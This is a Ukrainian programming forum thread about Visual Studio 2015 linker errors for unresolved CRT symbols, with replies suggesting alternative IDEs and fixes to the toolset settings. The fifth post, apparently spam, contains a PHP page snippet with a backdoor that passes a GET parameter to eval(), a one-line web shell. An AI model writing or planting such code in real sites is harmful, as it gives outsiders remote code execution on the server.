1 Востаннє редагувалося cheappi386 (05.02.2016 14:00:18)

Тема: Середовище розробки замість Visual Studio ?

те що проацювало у 2013, навідріз не хоче у 2015.

Ошибка    LNK2019    ссылка на неразрешенный внешний символ _memset в функции "public: void __thiscall Connector::StartConn(char *,char *,class Connector *)" (?StartConn@Connector@@QAEXPAD0PAV1@@Z)    UDPr    c:\Users\user\documents\visual studio 2015\Projects\UDPr\UDPr\main.obj    1   
Ошибка    LNK2001    неразрешенный внешний символ "_memset"    UDPr    c:\Users\user\documents\visual studio 2015\Projects\UDPr\UDPr\main.obj    1   
Ошибка    LNK2019    ссылка на неразрешенный внешний символ __imp__wcslen в функции "void __cdecl TextDrawer(struct HDC__ *)" (?TextDrawer@@YAXPAUHDC__@@@Z)    UDPr    c:\Users\user\documents\visual studio 2015\Projects\UDPr\UDPr\main.obj    1   
Ошибка    LNK2019    ссылка на неразрешенный внешний символ __imp__srand в функции "private: void __thiscall STUN::Request(char *,char *)" (?Request@STUN@@AAEXPAD0@Z)    UDPr    c:\Users\user\documents\visual studio 2015\Projects\UDPr\UDPr\main.obj    1   
Ошибка    LNK2019    ссылка на неразрешенный внешний символ __imp__rand в функции "private: void __thiscall STUN::Request(char *,char *)" (?Request@STUN@@AAEXPAD0@Z)    UDPr    c:\Users\user\documents\visual studio 2015\Projects\UDPr\UDPr\main.obj    1   
Ошибка    LNK2019    ссылка на неразрешенный внешний символ __imp__atoi в функции "public: void __thiscall Connector::StartConn(char *,char *,class Connector *)" (?StartConn@Connector@@QAEXPAD0PAV1@@Z)    UDPr    c:\Users\user\documents\visual studio 2015\Projects\UDPr\UDPr\main.obj    1   
Ошибка    LNK2019    ссылка на неразрешенный внешний символ __imp___time64 в функции _time    UDPr    c:\Users\user\documents\visual studio 2015\Projects\UDPr\UDPr\main.obj    1   
Ошибка    LNK2019    ссылка на неразрешенный внешний символ ___CxxFrameHandler3 в функции __unwindfunclet$?GetOutInThr@@YGKPAX@Z$0    UDPr    c:\Users\user\documents\visual studio 2015\Projects\UDPr\UDPr\main.obj    1   
Ошибка    LNK2019    ссылка на неразрешенный внешний символ __callnewh в функции "void * __cdecl operator new(unsigned int)" (??2@YAPAXI@Z)    UDPr    c:\Users\user\documents\visual studio 2015\Projects\UDPr\UDPr\libcmt.lib(new_scalar.obj)    1   
Ошибка    LNK2019    ссылка на неразрешенный внешний символ _malloc в функции "void * __cdecl operator new(unsigned int)" (??2@YAPAXI@Z)    UDPr    c:\Users\user\documents\visual studio 2015\Projects\UDPr\UDPr\libcmt.lib(new_scalar.obj)    1   
Ошибка    LNK2019    ссылка на неразрешенный внешний символ ___std_exception_copy в функции "public: __thiscall std::exception::exception(class std::exception const &)" (??0exception@std@@QAE@ABV01@@Z)    UDPr    c:\Users\user\documents\visual studio 2015\Projects\UDPr\UDPr\libcmt.lib(throw_bad_alloc.obj)    1   
Ошибка    LNK2019    ссылка на неразрешенный внешний символ ___std_exception_destroy в функции "public: virtual __thiscall std::bad_alloc::~bad_alloc(void)" (??1bad_alloc@std@@UAE@XZ)    UDPr    c:\Users\user\documents\visual studio 2015\Projects\UDPr\UDPr\libcmt.lib(throw_bad_alloc.obj)    1   
Ошибка    LNK2019    ссылка на неразрешенный внешний символ __CxxThrowException@8 в функции "void __cdecl __scrt_throw_std_bad_alloc(void)" (?__scrt_throw_std_bad_alloc@@YAXXZ)    UDPr    c:\Users\user\documents\visual studio 2015\Projects\UDPr\UDPr\libcmt.lib(throw_bad_alloc.obj)    1   
Ошибка    LNK2019    ссылка на неразрешенный внешний символ _free в функции "void __cdecl operator delete(void *)" (??3@YAXPAX@Z)    UDPr    c:\Users\user\documents\visual studio 2015\Projects\UDPr\UDPr\libcmt.lib(delete_scalar.obj)    1   
Ошибка    LNK2019    ссылка на неразрешенный внешний символ ___stdio_common_vsprintf_s в функции __vsprintf_s_l    UDPr    c:\Users\user\documents\visual studio 2015\Projects\UDPr\UDPr\libcmt.lib(_error_.obj)    1   
Ошибка    LNK2019    ссылка на неразрешенный внешний символ ___vcrt_GetModuleFileNameW в функции "int __cdecl _RTC_GetSrcLine(unsigned char *,wchar_t *,unsigned long,int *,wchar_t *,unsigned long)" (?_RTC_GetSrcLine@@YAHPAEPA_WKPAH1K@Z)    UDPr    c:\Users\user\documents\visual studio 2015\Projects\UDPr\UDPr\libcmt.lib(_pdblkup_.obj)    1   
Ошибка    LNK2019    ссылка на неразрешенный внешний символ ___vcrt_LoadLibraryExW в функции "struct HINSTANCE__ * __cdecl GetPdbDllFromInstallPath(void)" (?GetPdbDllFromInstallPath@@YAPAUHINSTANCE__@@XZ)    UDPr    c:\Users\user\documents\visual studio 2015\Projects\UDPr\UDPr\libcmt.lib(_pdblkup_.obj)    1   
Ошибка    LNK2019    ссылка на неразрешенный внешний символ __except_handler4_common в функции __except_handler4    UDPr    c:\Users\user\documents\visual studio 2015\Projects\UDPr\UDPr\MSVCRTD.lib(_chandler4gs_.obj)    1   
Ошибка    LNK1120    неразрешенных внешних элементов: 17    UDPr    c:\users\user\documents\visual studio 2015\Projects\UDPr\Debug\UDPr.exe    1

А 2013 не ставиться на 10ці.На яке IDE краще переходити ?

2

Re: Середовище розробки замість Visual Studio ?

Notepad++ + NppExec Plugin + GCC  :D

Подякували: Master_Sergius, leofun012

3

Re: Середовище розробки замість Visual Studio ?

То може тра поколупати налаштування компілятора/лінкера і т.д.?
Ну, я зі свого боку можу Vim рекомендувати :)
Правда, дебажити код можна буде хіба що прінтами. Наприклад, Python чи Ruby код можна дебажити іншим способом, бо це інтерпретовані мови...

Мій блог про ОС сімейства *nix - http://nixtravelling.blogspot.com/

4

Re: Середовище розробки замість Visual Studio ?

Master_Sergius написав:

То може тра поколупати налаштування компілятора/лінкера і т.д.?

якби я знав що ті кумари з некрософта смалили, то так би і зробив...

Подякували: Дмитро-Чебурашка1

5

Re: Середовище розробки замість Visual Studio ?

Четвер.

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!
Подякували: 0x9111A1

6

Re: Середовище розробки замість Visual Studio ?

cheappi386
Почистьте папку з проектом для початку. *.obj можна всі видалити, мабуть там й іншого мотлоху багато. Перевірте налаштування проекту, особливо шляхи.

7

Re: Середовище розробки замість Visual Studio ?

А ви часом не юзаєте щось скомпільоване в 2013? Бо тоді ніяк.
Хоча в налаштуваннях проекту можна поставити (не пам'ятаю назву параметра) з v150 на v130 чи щось в цьому роді.

Краще не переходити, юзаю вінду в першу чергу за топ с++ IDE що на дві голови краще альтернатив.
Ну а якщо вже переходити то рекомендую QtCreator правда до нього треба коміплятор підключити, це може бути наприклад той самий msvc або mingw.
Якщо маєте хороший ком'ютер то можете ще спробувати clion.

Maybe a = Just a | Nothing

8 Востаннє редагувалося cheappi386 (27.01.2016 22:14:21)

Re: Середовище розробки замість Visual Studio ?

Torbins написав:

cheappi386
Почистьте папку з проектом для початку. *.obj можна всі видалити, мабуть там й іншого мотлоху багато. Перевірте налаштування проекту, особливо шляхи.

Я проект з нуля створював.
PS: як настроїти MinGW на статичне лінкування CRT ?

9

Re: Середовище розробки замість Visual Studio ?

зменшіть версію компілятора в налаштуваннях студії і буде вам щастя

10

Re: Середовище розробки замість Visual Studio ?

На яке IDE краще переходити ?

online

- Поганому трояну фаєрвол заважає
- Ніколи не програмуйте та не пийте пиво
Якщо ви з першого разу написали програму, в якій немає жодної помилки, повідомте про це системного програмісту: він виправить помилки в компіляторі